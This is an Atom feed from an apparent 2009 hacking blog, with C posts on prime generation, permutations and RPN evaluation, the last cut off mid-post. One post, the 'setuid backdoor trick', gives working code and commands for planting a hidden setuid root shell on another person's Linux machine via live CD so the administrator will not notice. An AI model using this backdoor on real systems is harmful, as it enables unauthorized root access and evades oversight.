<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2934768361276706662</id><updated>2011-10-21T01:44:30.600+04:00</updated><title type='text'>Welcome! Unleash your hacking superpowers!</title><subtitle type='html'>Hello, welcome to my blog. It contains articles/tutorials about lots of stuff, mainly about computer security, hacking, reverse engineering, linux, bsd,etc. but occasionally i'll post articles about games, phones, cool stuff,etc.

Suggestions are welcome!
If you enjoy it, please leave a comment!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sniper11powers.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://sniper11powers.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>sniper11</name><uri>http://www.blogger.com/profile/09579809366752396200</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>6</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2934768361276706662.post-3245768880232892056</id><published>2009-11-28T14:34:00.003+04:00</published><updated>2009-11-28T14:40:08.942+04:00</updated><title type='text'>Prime number generation algorithm</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;There are many different algorithms to generate prime numbers and they're really interesting.&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Check out this page for a whole lot of them: &lt;a href="http://www.troubleshooters.com/codecorn/primenumbers/primenumbers.htm"&gt;http://www.troubleshooters.com/codecorn/primenumbers/primenumbers.htm&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This one is a short simple algorithm which is not so efficient but still useful for general purposes(generates 10 million primes in a little more than 6 seconds on an AMD Dual core 2.6 Ghz)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;First some information which will be useful to understand the algorithm:&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;1. Factors of a number "converge" to the square root of the number&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;e.g Let's say we have the number 1024:&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The factors of 1024 are: &lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;32*32=1024&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;16*64=1024&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;8*128=1024&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;4*256=1024&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;2*512=1024&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;1*1024=1024&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;As you'll notice as you go from bottom to the top, the factors converge towards the square root of 1024, i.e 32.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The point here that if we need to check if 1024 is a prime number, &lt;b&gt;1024 should not be divisible by any number from 1 up to 32 (sqrt(1024)). &lt;/b&gt;For example if we see that 1024 is divisible by 8 (1024=8*128), in order to save calculations we don't need to check that 1024 is divisible by 128.&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;2. Every number can be broken down into prime factors&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;e.g 345=3*5*23&amp;nbsp; (3,5,23 are all prime numbers)&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This 2nd idea is more interesting. Since a number can be broken down into prime factors(which are smaller than the number itself), then &lt;b&gt;if a number is a prime number, it should not be divisible by any prime number smaller than itself.&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This means that to determine if a number is prime, we just compare it with a list of primes smaller than itself and see if it is divisible by any one of them. If it's not then it's prime.&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;These 2 ideas can be combined together to form the following idea:&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;If a number is prime, it should not be divisible by &lt;b&gt;prime numbers starting from 2 up to the square root of the number.&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;For example to determine if 23 is prime:&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;sqrt(23)=4.796&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Prime numbers before 4.796= 2,3&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Is 23 divisible by 2? no&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Is 23 divisible by 3? no&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;So 23, is prime and it's added to the primes list&lt;b&gt;.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Here's some C code which illustrates the above concept. &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;//sniper11&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;math.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define PMAX 20000000 /*max number of primes to generate*/&lt;br /&gt;&lt;br /&gt;int n;&lt;br /&gt;int c=0;&lt;br /&gt;unsigned int primes[PMAX]; int primeptr=0;&lt;br /&gt;&lt;br /&gt;int add_prime(int i)&lt;br /&gt;{&lt;br /&gt;primes[primeptr]=i;&lt;br /&gt;primeptr++;c++;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int gen_primes()&lt;br /&gt;{&lt;br /&gt;int i,j,prime;&lt;br /&gt;add_prime(2);//add 2 to the list&lt;br /&gt;for(i=3;i&amp;lt;=n;i+=2)//skip even numbers&lt;br /&gt;{&lt;br /&gt;prime=1;&lt;br /&gt;int maxfactor=sqrt(i);&lt;br /&gt;for(j=1;j&amp;lt;primeptr;j++){&lt;br /&gt;&amp;nbsp;if(primes[j]&amp;gt;maxfactor)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;if(i%primes[j]==0){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; prime=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if(prime==1){&lt;br /&gt;add_prime(i);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;}&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;int output_primes()&lt;br /&gt;{&lt;br /&gt;int i;&lt;br /&gt;for(i=0;i&amp;lt;primeptr;i++)&lt;br /&gt;{&lt;br /&gt;printf("%d\n",primes[i]);&lt;br /&gt;}&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;printf("Number of primes to generate: ");&lt;br /&gt;scanf("%d",&amp;amp;n);&lt;br /&gt;&lt;br /&gt;gen_primes();&lt;br /&gt;printf("Count: %d\n",c);&lt;br /&gt;output_primes();&lt;br /&gt;}&lt;/span&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2934768361276706662-3245768880232892056?l=sniper11powers.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sniper11powers.blogspot.com/feeds/3245768880232892056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sniper11powers.blogspot.com/2009/11/fast-prime-number-generation-algorithm.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/3245768880232892056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/3245768880232892056'/><link rel='alternate' type='text/html' href='http://sniper11powers.blogspot.com/2009/11/fast-prime-number-generation-algorithm.html' title='Prime number generation algorithm'/><author><name>sniper11</name><uri>http://www.blogger.com/profile/09579809366752396200</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2934768361276706662.post-1307504446861745530</id><published>2009-10-21T17:17:00.001+04:00</published><updated>2009-10-22T10:09:20.987+04:00</updated><title type='text'>Simple permutation algorithm (lexicographic, i.e output sorted)</title><content type='html'>Here's a small recursive permutation algorithm in C which returns the permutations in ascending order.&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define MAX 100 /*max number of values to permute*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int array[MAX];/*value array*/&lt;br /&gt;int visited[MAX];/*array to set a "visit" flag, to see if a value has been previously visited*/&lt;br /&gt;int size;/*number of values to permute*/&lt;br /&gt;int output[MAX];/*output array(contains output values set by permute())*/&lt;br /&gt;int k=0;/*k contains number of visited values at any particular time during permute()*/&lt;br /&gt;&lt;br /&gt;int print_output()&lt;br /&gt;{&lt;br /&gt;/*print output array*/&lt;br /&gt;int i;&lt;br /&gt;for(i=0;i&amp;lt;size;i++)&lt;br /&gt;printf("%d ",output[i]);&lt;br /&gt;printf("\n");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int permute()&lt;br /&gt;{&lt;br /&gt;/*recursive permutation function*/&lt;br /&gt;int i;&lt;br /&gt;if(k==size)/*if number of visited values reaches "size", it means that we've got a particular combination to output, so we print it*/&lt;br /&gt;{&lt;br /&gt;print_output();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;for(i=0;i&amp;lt;size;i++){&lt;br /&gt;if(visited[i]==0){ /*remove this line(and it's bottom bracket) to obtain combinations too(e.g 1111,1223,etc.)*/&lt;br /&gt;visited[i]=1; /*value visited so set "visit flag"*/&lt;br /&gt;output[k]=array[i]; /*add value to output array*/&lt;br /&gt;k++; /*increase number of visited values*/&lt;br /&gt;permute(); /*recall the same function until k reaches size*/&lt;br /&gt;visited[i]=0; /*already processed, remove "visit" flag*/&lt;br /&gt;k--; /*decrease number of visited values, as we're "unvisiting" previous value*/&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int init()&lt;br /&gt;{&lt;br /&gt;/*initialize the array of values to 1,2,3,4,..(u can use other values too which will be permuted, from user input for example)*/&lt;br /&gt;int i;&lt;br /&gt;for(i=1;i&amp;lt;=size;i++)&lt;br /&gt;array[i-1]=i;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;printf("Enter number of values to permute: ");&lt;br /&gt;scanf("%d",&amp;amp;size); /*input size*/&lt;br /&gt;init();/*initialize the array of values to 1,2,3,4,..(u can use other values too which will be permuted, from user input for example)*/&lt;br /&gt;permute(); /*permute the values in the array(output function implemented inside)*/&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/blockquote&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_5TlVeZ2s7Gs/St8Insj8GsI/AAAAAAAAABM/--uqz8aja14/s1600-h/Screenshot-Terminal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_5TlVeZ2s7Gs/St8Insj8GsI/AAAAAAAAABM/--uqz8aja14/s320/Screenshot-Terminal.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;Source: &lt;a href="http://0x1337.netne.net/permutation.c"&gt;http://0x1337.netne.net/permutation.c&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;Compile with: gcc permutation.c -o permutation&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2934768361276706662-1307504446861745530?l=sniper11powers.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sniper11powers.blogspot.com/feeds/1307504446861745530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/lexicographicoutput-sorted-permutation.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/1307504446861745530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/1307504446861745530'/><link rel='alternate' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/lexicographicoutput-sorted-permutation.html' title='Simple permutation algorithm (lexicographic, i.e output sorted)'/><author><name>sniper11</name><uri>http://www.blogger.com/profile/09579809366752396200</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_5TlVeZ2s7Gs/St8Insj8GsI/AAAAAAAAABM/--uqz8aja14/s72-c/Screenshot-Terminal.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2934768361276706662.post-2997318197563736224</id><published>2009-10-08T20:28:00.005+04:00</published><updated>2009-10-08T21:20:05.854+04:00</updated><title type='text'>setuid backdoor trick</title><content type='html'>&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:courier new;"&gt;You've got physical access to a linux computer you want to compromise, and you can boot from CD.&lt;br /&gt;&lt;br /&gt;There are several ways to get root access to the computer through a linux live cd.&lt;br /&gt;One way is to boot the livecd, chroot to the linux partition, then run a "passwd root". Another way is to add your username to the sudoers list in /etc/sudoers on the linux partition.&lt;br /&gt;&lt;br /&gt;The problem with these techniques is that they'll leave footprints that are easily noticeable by the administrator because system files are being modified.&lt;br /&gt;&lt;br /&gt;A trick is to create a simple backdoor root shell. Then you'll just have to run the program [as normal user] to get root access. The program can then be located anywhere on the linux partition.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;setuid is an access right flag which can be set on a binary.&lt;br /&gt;If it is set, then the program will run as root when it is started until privileges are dropped at a certain point in the program, returning to normal permissions.&lt;br /&gt;&lt;br /&gt;This was designed in order to allow a program to use "root" access only when it is needed by the program. This migitates the effects that an exploit will have if the program has any security hole.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Here we're exploiting the fact that a normal user can have root access using a binary with setuid set to create a Shell backdoor.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;So the steps are:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1. Boot your live cd.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2. Mount the linux partition with setuid enabled(it's enabled by default)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;3. Copy the backdoor to some place accessible by you on the partition.(e.g your home folder)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Here's the source for the tiny backdoor:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;//bdoor.c&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;int main()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;setuid(0);//set the real,effective,saved uid to 0(root)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;setgid(0);//set group id to 0(root)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;execl("/bin/sh","sh",0); //execute a shell&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;//sniper11&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Compile with:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;root$&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;gcc bdoor.c -o bdoor&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Then(binary needs to be owned by root):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;root$ chown root.root bdoor&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;finally(set the setuid bit):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;root$ chmod 4755 bdoor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;You need to compile and do the chmod and chown from your livecd (as root). Then, copy &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;bdoor &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;to your home folder on the target system and you can hide it in any subfolder.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Now, reboot, login as normal user, execute the program to get root access and enjoy XD&lt;br /&gt;&lt;br /&gt;as usual, screenshot :):&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_5TlVeZ2s7Gs/Ss4fKXXG_jI/AAAAAAAAABE/gEM3IfGIiE0/s1600-h/setuid.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 266px;" src="http://4.bp.blogspot.com/_5TlVeZ2s7Gs/Ss4fKXXG_jI/AAAAAAAAABE/gEM3IfGIiE0/s400/setuid.png" alt="" id="BLOGGER_PHOTO_ID_5390280066939158066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2934768361276706662-2997318197563736224?l=sniper11powers.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sniper11powers.blogspot.com/feeds/2997318197563736224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/setuid-backdoor-trick.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/2997318197563736224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/2997318197563736224'/><link rel='alternate' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/setuid-backdoor-trick.html' title='setuid backdoor trick'/><author><name>sniper11</name><uri>http://www.blogger.com/profile/09579809366752396200</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_5TlVeZ2s7Gs/Ss4fKXXG_jI/AAAAAAAAABE/gEM3IfGIiE0/s72-c/setuid.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2934768361276706662.post-398825250435647045</id><published>2009-10-08T11:33:00.007+04:00</published><updated>2009-10-08T16:54:31.693+04:00</updated><title type='text'>Evaluate mathematical expressions using RPN(Postfix/Reverse polish notation)</title><content type='html'>Have you ever wondered how mathematical expressions are evaluated by programs such as python, bc, etc.? For example &lt;span style="font-family:courier new;"&gt;(4+3)*6/2*3^2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The answer is &lt;a href="http://en.wikipedia.org/wiki/Reverse_Polish_notation"&gt;Reverse Polish notation(RPN)&lt;/a&gt;, also known as Postfix notation.&lt;br /&gt;&lt;br /&gt;The "normal" way we write mathematical expressions is know as Infix notation:&lt;br /&gt;e.g: &lt;span style="font-family:courier new;"&gt;(4+3)*6/2*3^2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In RPN,&lt;span style="font-family:courier new;"&gt; 3+4 &lt;/span&gt;becomes &lt;span style="font-family:courier new;"&gt;3 4 +&lt;/span&gt;&lt;br /&gt;At first sight, this may seem a silly thing to do to put the operator after the arguments, but you'll see how it helps in evaluating mathematical expressions.&lt;br /&gt;There are no brackets '(' or ')'  in RPN, the expression is already in a state where the operator precedence(that is, which operation must be carried out first) has been taken into consideration.&lt;br /&gt;&lt;br /&gt;So, what we do is convert our expression from &lt;span style="font-weight: bold;"&gt;Infix&lt;/span&gt; to &lt;span style="font-weight: bold;"&gt;Postfix(RPN)&lt;/span&gt;, and then evaluate it.&lt;br /&gt;&lt;br /&gt;Let's take a concrete example:&lt;br /&gt;We have to evaluate &lt;span style="font-family:courier new;"&gt;(4+3)*6/2*3^2&lt;/span&gt;&lt;br /&gt;The conversion to postfix becomes: &lt;span style="font-family:courier new;"&gt;4 3 + 6 * 2 / 3 2 ^ *&lt;/span&gt; (conversion is done using the &lt;a href="http://en.wikipedia.org/wiki/Shunting_yard_algorithm"&gt;Shunting yard algorithm&lt;/a&gt;) As you'll notice there are no brackets in the RPN expression.&lt;br /&gt;&lt;br /&gt;To evaluate this expression is very simple:&lt;br /&gt;We first look for the first operator(+/*-^) in the expression (which in this case is &lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;):&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;4 3 &lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt; 6 * 2 / 3 2 ^ *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now, we look at the 2 numbers just preceding the operator (&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;4&lt;/span&gt; and &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;3&lt;/span&gt;):&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;4 3 +&lt;/span&gt; 6 * 2 / 3 2 ^ *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then, we evaluate the expression 4+3 and we replace the whole highlighted part by the result:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;7&lt;/span&gt; 6 * 2 / 3 2 ^ *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now, we start over again, that is we search for the first operator (in this case *) and again, we evaluate the 2 previous numbers with the operator:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;7&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; 6 *&lt;/span&gt; 2 / 3 2 ^ *&lt;/span&gt;&lt;br /&gt;becomes:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;42&lt;/span&gt; 2 / 3 2 ^ *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;42&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; 2 /&lt;/span&gt; 3 2 ^ *&lt;/span&gt;&lt;br /&gt;becomes:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;21&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt; 3 2 ^ *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;21&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;  3 2 ^&lt;/span&gt; *&lt;/span&gt;&lt;br /&gt;becomes:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;21&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;9&lt;/span&gt; *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and finally,&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;&lt;span style="color: rgb(0, 0, 0);"&gt;21&lt;/span&gt; 9 *&lt;br /&gt;&lt;/span&gt;becomes:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;189&lt;/span&gt; (... the result!!)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://0x1337.netne.net/rpn.c"&gt;Here's a small C program&lt;/a&gt; I've made which evaluates expressions using reverse polish notation:&lt;br /&gt;&lt;a href="http://0x1337.netne.net/rpn.c"&gt;http://0x1337.netne.net/rpn.c&lt;/a&gt;&lt;br /&gt;&lt;br 